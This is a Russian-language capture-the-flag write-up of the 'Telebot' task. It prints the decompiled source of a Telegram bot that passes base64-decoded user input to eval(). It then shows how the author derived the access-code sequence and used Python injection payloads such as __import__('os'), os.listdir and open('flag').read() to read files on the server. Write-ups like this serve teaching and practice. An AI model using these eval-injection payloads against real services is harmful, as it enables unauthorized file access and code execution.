Telebot hackyou Райтап
Райтап прошедшего ctf hack you spb - Telebot, от Jarvis'а.
Задание следующее - работает телеграмм бот (@spbctf1_bot) ,а так же pyc файл от программы-бота.
Первое, что нужно сделать, так это декомпилировать файл. Прекрасно справилась утилита Easy Python Decompiler 1.3.2
После декомпиляции создается файлик, в котором лежит исходник.
# Embedded file name: ./bot.py
import config
import traceback
import re
from base64 import *
from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHide
sec_state = {}
def process_message(bot, u):
if u.message.sender and u.message.text and u.message.chat:
chat_id = u.message.chat.id
user = u.message.sender.username
reply_hide = ReplyKeyboardHide.create()
print 'user:%s mes:%s' % (user, u.message.text)
if user not in sec_state:
sec_state[user] = {'mode': 15,
'stage': 7}
cmd1 = u.message.text.encode('utf-8')
a = re.findall('(\\/\\w+)\\s*(.*)', cmd1)
if a:
cmd = a[0][0]
data = a[0][1]
if cmd == '/help':
bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup=reply_hide)
if cmd == '/enter':
keyboard = [['-7-', '-8-', '-9-'],
['-4-', '-5-', '-6-'],
['-1-', '-2-', '-3-'],
['-0-']]
reply_markup = ReplyKeyboardMarkup.create(keyboard)
bot.send_message(chat_id, 'please enter access code', reply_markup=reply_markup).wait()
if sec_state[user]['mode'] == 0 and cmd == '/7779317':
ddd = b64decode(data)
bot.send_message(chat_id, eval(ddd))
a = re.findall('-(\\d+)-', cmd1)
if a:
num = a[0]
if int(num) == sec_state[user]['stage']:
sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10
sec_state[user]['mode'] = sec_state[user]['mode'] - 1
if sec_state[user]['mode'] < 0:
sec_state[user]['mode'] = 0
if sec_state[user]['mode'] == 0:
bot.send_message(chat_id, 'Secret mode enabled!', reply_markup=reply_hide).wait()
else:
print 'NO', num, sec_state[user]['stage']
bot.send_message(chat_id, 'Invalid password!', reply_markup=reply_hide).wait()
sec_state[user]['mode'] = 15
bot = TelegramBot(config.token)
bot.update_bot_info().wait()
print bot.username
last_update_id = 0
while True:
updates = bot.get_updates(offset=last_update_id).wait()
try:
for update in updates:
if int(update.update_id) > int(last_update_id):
last_update_id = update.update_id
process_message(bot, update)
except Exception as ex:
print traceback.format_exc()
После недолгих тыканий и ковыряний кода стало ясно что программа воспринимает два типа запросов
1. Выражение, начинающееся на /
2. Цифру, заключенную в -...-
Так же можно увидеть, что каждому пользователю соответствует кортеж, состоящий из двух переменных: mode и stage:
sec_state[user] = {'mode': 15, 'stage': 7}
В начале пользователю необходимо "авторизоваться". Авторизация происходит c 36 строки:
if a:
num = a[0]
if int(num) == sec_state[user]['stage']:
sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10
sec_state[user]['mode'] = sec_state[user]['mode'] - 1
if sec_state[user]['mode'] < 0:
sec_state[user]['mode'] = 0
if sec_state[user]['mode'] == 0:
bot.send_message(chat_id, 'Secret mode enabled!', reply_markup=reply_hide).wait()
else:
print 'NO', num, sec_state[user]['stage']
bot.send_message(chat_id, 'Invalid password!', reply_markup=reply_hide).wait()
sec_state[user]['mode'] = 15
Пользователь должен ввести такое же число, которое хранится в кортеже в переменой stage. Если он "угадывает", то делается пересчет stage и уменьшение переменной mode. Если ошибается, то выводится сообщение, что ошибочный пароль и переменная mode устанавливается в 15 заново.
Решается это не трудно - нужно 15 раз ввести правильное значение stage. Написав небольшой скрипт можно получить последующие 14 цифр для ввода. Так же нужно "угадать" первую цифру, просто повводив все возможные варианты. Введя очередную цифру и не получив ответа, что она ошибочна - нужно записать ее в переменную number.
def func(result):
stage = result[0]
mode = result[1]
stage = (stage * stage ^ 1337) % 10
mode = mode - 1
return [stage, mode]
number = 7
result = [number, 14]
print "1. [" + str(result[0]) + "," + str(result[1]) + "]"
for i in list(range(2, 16)):
result = func(result)
print str(i) + ". [" + str(result[0]) + "," + str(result[1]) + "]"
Результат работы:
Таким образом можно добиться того, что в mode будет 0, а значит можно переходить ко второй части выполнения задания.
Вторая часть начинается с 19й строки:
if sec_state[user]['mode'] == 0 and cmd == '/7779317':
ddd = b64decode(data)
bot.send_message(chat_id, eval(ddd))
И тут парсится выражение, начинающееся с символа /
Если пользователь "авторизован", то ему нужно ввести /7779317. Далее происходит декодирование данных, которые передаются через пробел и эти данные исполняются функцией eval. Выглядит это так :
/7779317 aGVsbG8=
Результата не последовало. Закодированные команды ls, dir, whoami, pwd не сработали, а вот dir() вернуло мне "a". Но увы это совсем не то, что нужно. Что бы понять, как решить эту проблему - нужно открыть командную строку питона и попробовать выполнить любую команду через eval().
"1+1" моя командная строка послушно выполняла, а вот бот молчал. Сдался он от запроса str(1+1).
Получив заветную двойку, неплохо было бы получить доступ к шеллу, имея возможность исполнять любые команды, или же просто получив список файлов в директории.
Довольно помогла статья http://vipulchaskar.blogspot.ru/2012/10/exploiting-eval-function-in-python.html . Введем команду os.getcwd() и получаем директорию, в которой находимся в данный момент. Погуглив другие команды, можно получить имя операционной системы например os.uname() .
Тут есть смешной момент. На момент написания райтапа модуль os был уже импортирован, что облегчило задачу. На момент решения, этого не было. Приходилось импортировать библиотеку "на лету", в одну строку, делается это так: __import__("os").uname() .
Осталось получить список файлов, лежащих в директории, сделать это можно через команду os.listdir(".") .
Осталось получить содержимое файла, ну это уже совсем просто и делается так: open("flag","r").readline()
Опять же смешной момент. Когда решал, флаг получил без проблем. Но потом админы таска подумали "ай да как то изично он решается, надо, что бы у ребят побомбило" и после ввода закодированной этой команды получаем сообщение:
Когда решал впервые:
Черный юмор админов можно обойти чуток укоротив команду: open("flag","r").read()
Собственно флаг - T313B07_15_N3W_TR3ND!!! . Мое впечатление - таск интересный, было прикольно ковыряться, но админы таска, если читаете это, не чудите так больше :)
- Автор: drakylar
- Комментарии: 1
- Просмотры: 2809